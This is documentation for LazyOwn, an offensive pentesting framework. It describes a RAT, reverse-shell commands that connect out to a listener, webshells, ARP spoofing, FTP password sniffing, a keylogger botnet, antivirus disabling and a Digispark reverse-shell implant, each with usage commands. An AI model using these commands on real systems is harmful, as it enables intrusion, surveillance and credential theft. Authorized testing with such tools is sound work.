LazyOwn
LazyOwn copied to clipboard
The LazyOwn Framework is a comprehensive and advanced toolkit designed for professional redteams & penetration testers and security researchers. Crafted more of 200 attacks for both Linux/*nix/bsd/osx...
LazyOwn
██╗ █████╗ ███████╗██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗
██║ ██╔══██╗╚══███╔╝╚██╗ ██╔╝██╔═══██╗██║ ██║████╗ ██║
██║ ███████║ ███╔╝ ╚████╔╝ ██║ ██║██║ █╗ ██║██╔██╗ ██║
██║ ██╔══██║ ███╔╝ ╚██╔╝ ██║ ██║██║███╗██║██║╚██╗██║
███████╗██║ ██║███████╗ ██║ ╚██████╔╝╚███╔███╔╝██║ ╚████║
╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝
LazyOwn comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to redistribute it under the terms of the GNU General Public License v3. See the LICENSE file for details about using this software.
LazyOwn Framework is a powerful and versatile security framework designed to automate and streamline pentesting and vulnerability analysis tasks. This interactive environment combines multiple tools and scripts, making it easier for cybersecurity professionals to work through various stages of the security assessment lifecycle. With an intuitive command-line interface, LazyOwn allows users to configure specific parameters, execute custom scripts, and obtain real-time results, all from a single platform.
Key Features:
Interactive Interface:
Interactive shell with user-friendly commands for configuring and running scripts. Ability to display and adjust custom parameters applicable to different scripts. Task Automation:
Automates common pentesting tasks such as vulnerability scanning, web application fuzzing, brute force attacks, and more. Integration with popular tools and custom scripts for comprehensive testing coverage on Parrot Sec. Real-Time Visualization:
Real-time output display of script execution, allowing users to see results instantly and react swiftly. Modularity and Extensibility:
Designed to be extensible, enabling users to easily add and customize scripts. Supports multiple scripting languages, including Python and Bash. Flexible Configuration:
Ability to set specific parameters like IP addresses, API keys, HTTP methods, request data, and more, providing complete control over executed scripts. Typical Use:
Parameter Configuration:
Users can set required parameters using commands like set target_ip 192.168.1.1 to define the target IP address. Script Execution:
Execute predefined scripts for various tasks, such as run lazygptcli to interact with GPT using a configured prompt and API key. Results Visualization:
Script results are displayed in the console in real-time, providing immediate feedback on progress and findings. Additional Modules:
LazyOwn includes various specialized modules such as:
lazyownrat and lazyownratcli: For running remote access tools with configurable parameters. lazyftpsniff and lazysniff: For network sniffing on specified interfaces. lazysearch_bot and lazygptcli: For interacting with search APIs and GPT-based tools. lazyhoneypot: For setting up email-based honeypots. lazynetbios: For NetBIOS enumeration across IP ranges. lazywerkzeugdebug: For testing Werkzeug in debug mode. Background:
Originally designed to automate the search and analysis of binaries with special permissions on Linux and Windows systems, LazyOwn has evolved to encompass a broader range of functionalities. The project includes scripts that extract information from GTFOBins, analyze binaries on the system, and generate options based on the collected data.
LazyOwn on Reddit
Revolutionize Your Pentesting with LazyOwn: Automate the intrusion on Linux, MAC OSX, and Windows VICTIMS
https://www.reddit.com/r/LazyOwn/
https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a
Discover LazyOwn, the ultimate solution for automating the pentesting workflow to attack Linux, MacOSX and Windows systems. Our powerful tool simplifies pentesting, making it more efficient and effective. Watch this video to learn how LazyOwn can streamline your security assessments and enhance your cybersecurity toolkit.
LazyOwn> set rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwn is ideal for cybersecurity professionals seeking a centralized and automated solution for their pentesting needs, saving time and enhancing efficiency in identifying and exploiting vulnerabilities.
Requisitos
-
Python 3.x
-
Módulos de Python:
- python-libnmap
- pwn
- groq
- PyPDF2
- docx
- python-docx
- olefile
- exifread
- pycryptodome
- impacket
- pandas
- colorama
- tabulate
- pyarrow
- keyboard
- flask-unsign
- name-that-hash
- certipy-ad
- ast
-
subprocess
(incluido en la biblioteca estándar de Python) -
platform
(incluido en la biblioteca estándar de Python) -
tkinter
(Opcional para el GUI) -
numpy
(Opcional para el GUI)
Instalación
- Clona el repositorio:
git clone https://github.com/grisuno/LazyOwn.git
cd LazyOwn
- Instala las dependencias de Python:
./install.sh
Uso
./run or ./fast_run_as_r00t.sh
./run --help
[;,;] LazyOwn release/0.1.20
Uso: ./run [opciones]
Opciones:
--help Muestra esta ayuda
-v Muestra la version
-c Ejecuta un comando del LazyOwn ej: ping
--no-banner No muestra el Banner
-s Run as r00t
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
Use set <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
set <parameter> <value>: Sets the value of a parameter. For example, set rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[LazyOwn👽192.168.1.92 ~/home/gris/tools/LazyOwn][10.10.11.29][http://lantern.htb/]
└╼ $ ls
[+] Available scripts to run: [👽]
[+] lazysearch lazysearch_gui lazyown [👽]
[+] update_db lazynmap lazyaslrcheck [👽]
[+] lazynmapdiscovery lazygptcli lazyburpfuzzer [👽]
[+] lazymetaextract0r lazyreverse_shell lazyattack [👽]
[+] lazyownratcli lazyownrat lazygath [👽]
[+] lazysniff lazynetbios lazybotnet [👽]
[+] lazybotcli lazyhoneypot lazysearch_bot [👽]
[+] lazylfi2rce lazylogpoisoning lazymsfvenom [👽]
[+] lazypathhijacking lazyarpspoofing lazyftpsniff [👽]
[+] lazyssh77enum lazywerkzeugdebug [👽]
┌─[LazyOwn👽192.168.1.92 ~/home/gris/tools/LazyOwn][10.10.11.29][http://lantern.htb/]
└╼ $
┌─[LazyOwn👽192.168.1.92 ~/home/gris/tools/LazyOwn][10.10.11.29][http://lantern.htb/]
└╼ $ ?
Documented commands (type help <topic>):
========================================
EOF dnsmap ldapdomaindump searchhash
acknowledgearp download_exploit list seo
acknowledgeicmp download_resources lynis sessionssh
addhosts encode medusa sessionsshstrace
alias encoderpayload msf set
apropos encrypt nbtscan set_proxychains
arpscan enum4linux nikto sh
asprevbase64 exit nmapscript shellcode
banner finalrecon nmapscripthelp show
base64decode find openssl_sclient skipfish
base64encode fixel payload smbclient
bloodhound fixperm ping smbmap
chisel ftp portdiscover smbserver
clean getcap ports smtpuserenum
clock getnpusers portservicediscover snmpcheck
cme getseclist proxy socat
conptyshell gobuster psexec sqlmap
cp gospider pwd ss
cports grisun0 pwncatcs ssh
createcookie hashcat py3ttyup sshd
createcredentials help pyautomate swaks
createdll hostdiscover qa tcpdump_capture
createhash hydra rdp tcpdump_icmp
createrevshell id_rsa responder tshark_analyze
createwebshell ignorearp rev urldecode
createwinrevshell ignoreicmp revwin urlencode
creds img2cookie rhost vpn
decode ip rot wfuzz
decrypt john2hash rpcclient whatweb
dig launchpad rpcdump winbase64payload
dirsearch lazypwn rubeus wrapper
disableav lazyscript run www
dnsenum lazywebshell samrdump
┌─[LazyOwn👽192.168.1.92 ~/home/gris/tools/LazyOwn][10.10.11.29][http://lantern.htb/]
└╼ $
Tag in youtube
https://www.youtube.com/hashtag/lazyown
LazyOwn> set binary_name my_binary
LazyOwn> set rhost 192.168.1.100
LazyOwn> set api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit
For searching within the scraped database obtained from GTFOBins.
python3 lazysearch.py binario_a_buscar
Searches with GUI
Additional Features and Enhancements: AutocompleteEntry:
A filter has been added to remove None values from the autocomplete list. New Attack Vector:
A "New Attack Vector" button has been added to the main interface. Functionality has been implemented to add a new attack vector and save the updated data in Parquet files. Export to CSV:
A "Export to CSV" button has been added to the main interface. Functionality has been implemented to export DataFrame data to a user-selected CSV file. Usage:
Add a New Attack Vector: Click the "New Attack Vector" button, fill in the fields, and save. Export to CSV: Click the "Export to CSV" button and select the location to save the CSV file. New Function scan_system_for_binaries:
Implements system-wide binary searches using the file command to determine if a file is binary. Uses os.walk to traverse the file system. Results are displayed in a new window within the GUI. Button to Search for Binaries:
A "Search System for Binaries" button has been added to the main interface, which calls the scan_system_for_binaries function. Note:
The is_binary function uses the Unix file command to determine if a file is a binary executable. If you are on a different operating system, you will need to adjust this method for compatibility. This implementation can be resource-intensive as it traverses the entire file system. You may consider adding additional options to limit the search to specific directories or filter for certain file types.
python3 LazyOwnExplorer.py
python3 lazyown.py
If you want to update, we proceed as follows:
cd LazyOwn
rm *.csv
rm *.parquet
./update_db.sh
Use mode LazyOwn WebShells
LazyOwn Webshell Collection is a collection of webshells for our framework, which allows us to establish a webshell on the machine where we run LazyOwn using various programming languages. Essentially, LazyOwn Webshell raises a web server within the modules directory, making it accessible via a web browser. This allows us to both make the modules available separately through the web and access the cgi-bin directory, where there are four shells: one in Bash, another in Perl, another in Python, and one in ASP, in case the target is a Windows machine.
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:
http://localhost:8080/cgi-bin/lazywebshell.sh
http://localhost:8080/cgi-bin/lazywebshell.py
http://localhost:8080/cgi-bin/lazywebshell.asp
http://localhost:8080/cgi-bin/lazywebshell.cgi
Use Lazy MSFVenom to Reverse Shell
Executes the `msfvenom` tool to generate a variety of payloads based on user input.
This function prompts the user to select a payload type from a predefined list and runs the corresponding
`msfvenom` command to create the desired payload. It handles tasks such as generating different types of
payloads for Linux, Windows, macOS, and Android systems, including optional encoding with Shikata Ga Nai for C payloads.
The generated payloads are moved to a `sessions` directory, where appropriate permissions are set. Additionally,
the payloads can be compressed using UPX for space efficiency. If the selected payload is an Android APK,
the function will also sign the APK and perform necessary post-processing steps.
:param line: Command line arguments for the script.
:return: None
run lazymsfvenom or venom
Use Lazy PATH Hijacking
A file will be created in /tmp with the name binary_name set in the payload, initialized with gzip in memory, and using bash in the payload. To set the payload from the JSON, use the payload command to execute. Use:
lazypathhijacking
Use mode LazyOwn RAT
LazyOwn RAT is a simple yet powerful Remote Administration Tool. It features a screenshot function that captures the server's screen, an upload command that allows us to upload files to the compromised machine, and a C&C mode where commands can be sent to the server. It operates in two modes: client mode and server mode. There is no obfuscation, and the RAT is based on BasicRat. You can find it on GitHub at https://github.com/awesome-security/basicRAT and at https://github.com/hash3liZer/SillyRAT. Although the latter is much more comprehensive, I just wanted to implement screenshot capture, file uploads, and command sending. Perhaps in the future, I will add webcam viewing functionality, but that will come later.
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C
Use mode Lazy Meta Extract0r
LazyMeta Extract0r is a tool designed to extract metadata from various types of files, including PDF, DOCX, OLE files (such as DOC and XLS), and several image formats (JPG, JPEG, TIFF). This tool will traverse a specified directory, search for files with compatible extensions, extract the metadata, and save it to an output file.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path
python3 lazyown_metaextract0r.py --path /home/user
Use mode decrypt encrypt
A encryption method that allows us to both encrypt files and decrypt them if we have the key, of course.
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
Uso modo LazyNmap
The use of Lazynmap provides us with an automated script for a target, in this case, 127.0.0.1, using Nmap. The script requires administrative permissions via sudo. It also includes a network discovery module to identify what is present in the IP segment you are in. Additionally, the script can now be called without parameters using the alias nmap or with the command run lazynmap.
./lazynmap.sh -t 127.0.0.1
Usage of LazyOwn GPT One Liner CLI Assistant and Researcher
Discover the revolution in automating pentesting tasks with the LazyOwn GPT One Liner CLI Assistant! This incredible script is part of the LazyOwn tool suite, designed to make your life as a pentester more efficient and productive.
🚀 Key Features:
Intelligent Automation: Leverages the power of Groq and advanced natural language models to generate precise and efficient commands based on your specific needs. User-Friendly Interface: With a simple prompt, the assistant generates and executes one-liner scripts, drastically reducing the time and effort involved in creating complex commands. Continuous Improvement: Continuously transforms and optimizes its knowledge base to provide you with the best solutions, adapting to each situation. Simplified Debugging: Enable debug mode to obtain detailed information at every step, facilitating the identification and correction of errors. Seamless Integration: Works effortlessly within your workspace, harnessing the power of the Groq API to deliver quick and accurate responses. 🔒 Security and Control:
Safe Error Handling: Intelligently detects and responds to execution errors, ensuring you maintain full control over each generated command. Controlled Execution: Before executing any command, it requests your confirmation, giving you peace of mind knowing exactly what is being executed on your system. 🌐 Easy Configuration:
Set up your API key in seconds and start enjoying all the benefits offered by the LazyOwn GPT One Liner CLI Assistant. A quick start guide is available to help you configure and maximize the potential of this powerful tool.
🎯 Ideal for Pentesters and Developers:
Optimize Your Processes: Simplify and accelerate command generation in your security audits. Continuous Learning: The knowledge base is constantly updated and improved, always providing you with the latest best practices and solutions. With the LazyOwn GPT One Liner CLI Assistant, transform the way you work, making it faster, more efficient, and secure. Stop wasting time on repetitive and complex tasks, and focus on what truly matters: discovering and resolving vulnerabilities!
Join the pentesting revolution with LazyOwn and take your productivity to the next level!
[?] Usage: python lazygptcli.py --prompt "
[?] Options:
--prompt "The prompt for the programming task (required)." --debug, -d "Enables debug mode to display debug messages." --transform "Transforms the original knowledge base into an enhanced base using Groq." [?] Ensure you configure your API key before running the script: export GROQ_API_KEY=<your_api_key> [->] Visit: https://console.groq.com/docs/quickstart (not a sponsored link)
Requirements:
Python 3.x A valid Groq API key Steps to Obtain the Groq API Key: Visit Groq Console (https://console.groq.com/docs/quickstart) to register and obtain an API key.
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]
Usage of lazyown_bprfuzzer.py
Provide the arguments as specified by the script's requests: The script will require the following arguments:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: The URL to which the request will be sent (required). --method: The HTTP method to use, such as GET or POST (optional, default: GET). --headers: The request headers in JSON format (optional, default: {}). --params: The URL parameters in JSON format (optional, default: {}). --data: The form data in JSON format (optional, default: {}). --json_data: The JSON data for the request in JSON format (optional, default: {}). --proxy_port: The port for the internal proxy (optional, default: 8080). -w, --wordlist: The path to the wordlist for fuzzing mode (optional). -hc, --hide_code: The HTTP status code to hide in the output (optional). Make sure to provide the required arguments to ensure the script runs correctly.
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
Form 2: Advanced Usage
If you wish to take advantage of the advanced features of the script, such as request replay or fuzzing, follow these steps:
Request Replay:
To utilize the request replay functionality, provide the arguments as indicated earlier. During execution, the script will ask if you want to repeat the request. Enter 'y' to repeat or 'n' to terminate the repeater. Fuzzing:
To use the fuzzing functionality, make sure to provide a wordlist with the -w or --wordlist argument. The script will replace the word LAZYFUZZ in the URL and other data with the words from the provided wordlist. During execution, the script will display the results of each fuzzing iteration. These are the basic and advanced ways to use the lazyburp.py script. Depending on your needs, you can choose the method that best fits your specific situation.
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
-hc 501
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
Note: To use the dictionary, run the following command within /usr/share/seclists:
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
Usage of LazyOwn FTP Sniff Mode
This module is used to search for passwords on FTP servers across the network. Some may say that FTP is no longer used, but you would be surprised at the critical infrastructure environments I've seen with massive FTP services running on their servers. :)
set device eth0
run lazyftpsniff
Uso modo LazyReverseShell
Listen
nc -nlvp 1337 #o el puerto que escojamos
para luego en la maquina victima
./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337
Usage of Lazy Curl to Recon Mode
The module is located in the modules directory and is used as follows:
chmod +x lazycurl.sh
and then
./lazycurl.sh --mode GET --url http://10.10.10.10
Usage.
GET:
./lazycurl.sh --mode GET --url http://10.10.10.10
POST:
./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
TRACE:
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
File upload:
```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
wordlist bruteforce mode:
./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
Make sure to adjust the parameters according to your needs and that the values you provide for the options are valid for each case.
Usage of ARPSpoofing Mode
The script provides an ARP spoofing attack using Scapy. In the payload, you must set the lhost, rhost, and the device that you will use to perform the ARP spoofing.
set rhost 192.168.1.100
set lhost 192.168.1.1
set device eth0
run lazyarpspoofing
Usage of LazyGathering Mode
This script provides an X-ray view of the system in question where the tool is being executed, offering insights into its configuration and state.
run lazygath
Usage of Lazy Own LFI RFI 2 RCE Mode
The LFI RFI 2 RCE mode is designed to test some of the more well-known payloads against the parameters specified in payload.json. This allows for a comprehensive assessment of Local File Inclusion (LFI), Remote File Inclusion (RFI), and Remote Code Execution (RCE) vulnerabilities in the target system.
payload
run lazylfi2rce
Usage of LazyOwn Sniffer Mode
https://www.youtube.com/watch?v=_-DDiiMrIlE
The sniffer mode allows capturing network traffic through interfaces using the -i
option, which is mandatory. There are many other optional settings that can be adjusted as needed.
Usage
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP]
lazysniff.py: error: the following arguments are required: -i/--interface

To use the sniffer from the framework, you must configure the device with the command:
```sh
run lazysniff
or just
sniff
Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
./py2el.sh
Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
run lazynetbios
Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the payload
command, which sets all the configuration in our payload.json
, allowing us to preload the configuration before starting the framework.
payload
run lazybotnet
Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
Acknowledgments ✌
A special thanks to GTFOBins for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the extractPorts
function in my .zshrc
:D
Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: https://github.com/honze-net/pwntomate
Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
Abstract
LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.
Lazyducky_digispark
Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.
This method checks if Arduino CLI and Micronucleus are installed on the system.
If they are not available, it installs them. It then compiles a Digispark sketch
and uploads the generated .hex file to the Digispark device.
The method performs the following actions:
1. Checks for the presence of Arduino CLI and installs it if not available.
2. Configures Arduino CLI for Digispark if not already configured.
3. Generates a reverse shell payload and prepares the sketch for Digispark.
4. Compiles the prepared Digispark sketch using Arduino CLI.
5. Checks for the presence of Micronucleus and installs it if not available.
6. Uploads the compiled .hex file to the Digispark device using Micronucleus.
Args:
line (str): Command line input provided by the user, which may contain additional parameters.
Returns:
None: The function does not return any value but may modify the state of the system
by executing commands.
Documentation by readmeneitor.py
Documentation automatically created by the script readmeneitor.py
created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.
UTILS.md Documentation by readmeneitor.py
parse_ip_mac
Extracts IP and MAC addresses from a formatted input string using a regular expression.
The input string is expected to be in the format: 'IP: (192.168.1.222) MAC: ec:c3:02:b0:4c:96'. The function uses a regular expression to match and extract the IP address and MAC address from the input.
Args: input_string (str): The formatted string containing the IP and MAC addresses.
Returns: tuple: A tuple containing the extracted IP address and MAC address. If the format is incorrect, returns (None, None).
create_arp_packet
Constructs an ARP packet with the given source and destination IP and MAC addresses.
The function creates both Ethernet and ARP headers, combining them into a complete ARP packet.
Args: src_mac (str): Source MAC address in the format 'xx:xx:xx:xx:xx:xx'. src_ip (str): Source IP address in dotted decimal format (e.g., '192.168.1.1'). dst_ip (str): Destination IP address in dotted decimal format (e.g., '192.168.1.2'). dst_mac (str): Destination MAC address in the format 'xx:xx:xx:xx:xx:xx'.
Returns: bytes: The constructed ARP packet containing the Ethernet and ARP headers.
send_packet
Sends a raw ARP packet over the specified network interface.
The function creates a raw socket, binds it to the specified network interface, and sends the given packet.
Args: packet (bytes): The ARP packet to be sent. iface (str): The name of the network interface to use for sending the packet (e.g., 'eth0').
Raises: OSError: If an error occurs while creating the socket or sending the packet.
load_version
Load the version number from the 'version.json' file.
This function attempts to open the 'version.json' file and load its contents. If the file is found, it retrieves the version number from the JSON data. If the version key does not exist, it returns a default version 'release/v0.0.14'. If the file is not found, it also returns the default version.
Returns:
- str: The version number from the file or the default version if the file is not found or the version key is missing.
print_error
Prints an error message to the console.
This function takes an error message as input and prints it to the console with a specific format to indicate that it is an error.
:param error: The error message to be printed. :type error: str :return: None
print_msg
Prints a message to the console.
This function takes a message as input and prints it to the console with a specific format to indicate that it is an informational message.
:param msg: The message to be printed. :type msg: str :return: None
print_warn
Prints a warning message to the console.
This function takes a warning message as input and prints it to the console with a specific format to indicate that it is a warning.
:param warn: The warning message to be printed. :type warn: str :return: None
signal_handler
Handles signals such as Control + C and shows a message on how to exit.
This function is used to handle signals like Control + C (SIGINT) and prints a warning message instructing the user on how to exit the program using the commands 'exit', 'q', or 'qa'.
:param sig: The signal number. :type sig: int :param frame: The current stack frame. :type frame: frame :return: None
check_rhost
Checks if the remote host (rhost) is defined and shows an error message if it is not.
This function verifies if the rhost
parameter is set. If it is not defined,
an error message is printed, providing an example and directing the user to
additional help.
:param rhost: The remote host to be checked. :type rhost: str :return: True if rhost is defined, False otherwise. :rtype: bool
check_lhost
Checks if the local host (lhost) is defined and shows an error message if it is not.
This function verifies if the lhost
parameter is set. If it is not defined,
an error message is printed, providing an example and directing the user to
additional help.
:param lhost: The local host to be checked. :type lhost: str :return: True if lhost is defined, False otherwise. :rtype: bool
check_lport
Checks if the local port (lport) is defined and shows an error message if it is not.
This function verifies if the lport
parameter is set. If it is not defined,
an error message is printed, providing an example and directing the user to
additional help.
:param lport: The local port to be checked. :type lport: int or str :return: True if lport is defined, False otherwise. :rtype: bool
is_binary_present
Internal function to verify if a binary is present on the operating system.
This function checks if a specified binary is available in the system's PATH
by using the which
command. It returns True if the binary is found and False
otherwise.
:param binary_name: The name of the binary to be checked. :type binary_name: str :return: True if the binary is present, False otherwise. :rtype: bool
handle_multiple_rhosts
Internal function to handle multiple remote hosts (rhost) for operations.
This function is a decorator that allows an operation to be performed across
multiple remote hosts specified in self.params["rhost"]
. It converts a single
remote host into a list if necessary, and then iterates over each host,
performing the given function with each host. After the operation, it restores
the original remote host value.
:param func: The function to be decorated and executed for each remote host. :type func: function :return: The decorated function. :rtype: function
check_sudo
Checks if the script is running with superuser (sudo) privileges, and if not, restarts the script with sudo privileges.
This function verifies if the script is being executed with root privileges by checking the effective user ID. If the script is not running as root, it prints a warning message and restarts the script using sudo.
:return: None
activate_virtualenv
Activates a virtual environment and starts an interactive shell.
This function activates a virtual environment located at venv_path
and then
launches an interactive bash shell with the virtual environment activated.
:param venv_path: The path to the virtual environment directory. :type venv_path: str :return: None
parse_proc_net_file
Internal function to parse a /proc/net file and extract network ports.
This function reads a file specified by file_path
, processes each line to
extract local addresses and ports, and converts them from hexadecimal to decimal.
The IP addresses are converted from hexadecimal format to standard dot-decimal
notation. The function returns a list of tuples, each containing an IP address
and a port number.
:param file_path: The path to the /proc/net file to be parsed. :type file_path: str :return: A list of tuples, each containing an IP address and a port number. :rtype: list of tuple
get_open_ports
Internal function to get open TCP and UDP ports on the operating system.
This function uses the parse_proc_net_file
function to extract open TCP and UDP
ports from the corresponding /proc/net files. It returns two lists: one for TCP
ports and one for UDP ports.
:return: A tuple containing two lists: the first list with open TCP ports and the second list with open UDP ports. :rtype: tuple of (list of tuple, list of tuple)
find_credentials
Searches for potential credentials in files within the specified directory.
This function uses a regular expression to find possible credentials such as passwords, secrets, API keys, and tokens in files within the given directory. It iterates through all files in the directory and prints any matches found.
:param directory: The directory to search for files containing credentials. :type directory: str :return: None
rotate_char
Internal function to rotate characters for ROT cipher.
This function takes a character and a shift value, and rotates the character by the specified shift amount. It only affects alphabetical characters, leaving non-alphabetical characters unchanged.
:param c: The character to be rotated. :type c: str :param shift: The number of positions to shift the character. :type shift: int :return: The rotated character. :rtype: str
get_network_info
Retrieves network interface information with their associated IP addresses.
This function executes a shell command to gather network interface details, parses the output to extract interface names and their corresponding IP addresses, and returns this information in a dictionary format. The dictionary keys are interface names, and the values are IP addresses.
:return: A dictionary where the keys are network interface names and the values are their associated IP addresses. :rtype: dict
getprompt
Generate a command prompt string with network information and user status.
:param: None
:returns: A string representing the command prompt with network information and user status.
Manual execution:
To manually get a prompt string with network information and user status, ensure you have get_network_info()
implemented to return a dictionary of network interfaces and their IPs. Then use the function to create a prompt string based on the current user and network info.
Example:
If the function get_network_info()
returns:
{
'tun0': '10.0.0.1',
'eth0': '192.168.1.2'
}
And the user is root, the prompt string generated might be: [LazyOwn👽10.0.0.1]# If the user is not root, it would be: [LazyOwn👽10.0.0.1]$
If no 'tun' interface is found, the function will use the first available IP or fallback to '127.0.0.1'.
copy2clip
Copia el texto proporcionado al portapapeles usando xclip.
Args: text (str): El texto que se desea copiar al portapapeles.
Example: copy2clip("Hello, World!")
clean_output
Elimina secuencias de escape de color y otros caracteres no imprimibles.
teclado_usuario
Procesa un archivo para extraer y mostrar caracteres desde secuencias de escritura específicas.
Args: filename (str): El nombre del archivo a leer.
Raises: FileNotFoundError: Si el archivo no se encuentra. Exception: Para otros errores que puedan ocurrir.
salida_strace
Lee un archivo, extrae texto desde secuencias de escritura y muestra el contenido reconstruido.
Args: filename (str): El nombre del archivo a leer.
Raises: FileNotFoundError: Si el archivo no se encuentra. Exception: Para otros errores que puedan ocurrir.
exploitalert
Process and display results from ExploitAlert.
This function checks if the provided content contains any results. If results are present, it prints the title and link for each exploit found, and appends the results to a predata list. If no results are found, it prints an error message.
Parameters:
- content (list): A list of dictionaries containing exploit information.
Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
packetstormsecurity
Process and display results from PacketStorm Security.
This function extracts exploit data from the provided content using regex. If any results are found, it prints the title and link for each exploit, and appends the results to a predata list. If no results are found, it prints an error message.
Parameters:
- content (str): The HTML content from PacketStorm Security.
Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
nvddb
Process and display results from the National Vulnerability Database.
This function checks if there are any vulnerabilities in the provided content. If vulnerabilities are present, it prints the ID, description, and link for each CVE found, and appends the results to a predata list. If no results are found, it prints an error message.
Parameters:
- content (dict): A dictionary containing vulnerability data.
Returns: None Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
find_ss
Find CVEs in the National Vulnerability Database based on a keyword.
This function takes a keyword, formats it for the API request, and sends a GET request to the NVD API. If the request is successful, it returns the JSON response containing CVE data; otherwise, it returns False.
Parameters:
- keyword (str): The keyword to search for in CVEs.
Returns:
- dict or bool: The JSON response containing CVE data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
find_ea
Find exploits in ExploitAlert based on a keyword.
This function takes a keyword, formats it for the API request, and sends a GET request to the ExploitAlert API. If the request is successful, it returns the JSON response containing exploit data; otherwise, it returns False.
Parameters:
- keyword (str): The keyword to search for exploits.
Returns:
- dict or bool: The JSON response containing exploit data or False on failure. Thanks to Sicat 🐈 An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. https://github.com/justakazh/sicat/
find_ps
Find exploits in PacketStorm Security based on a keyword.
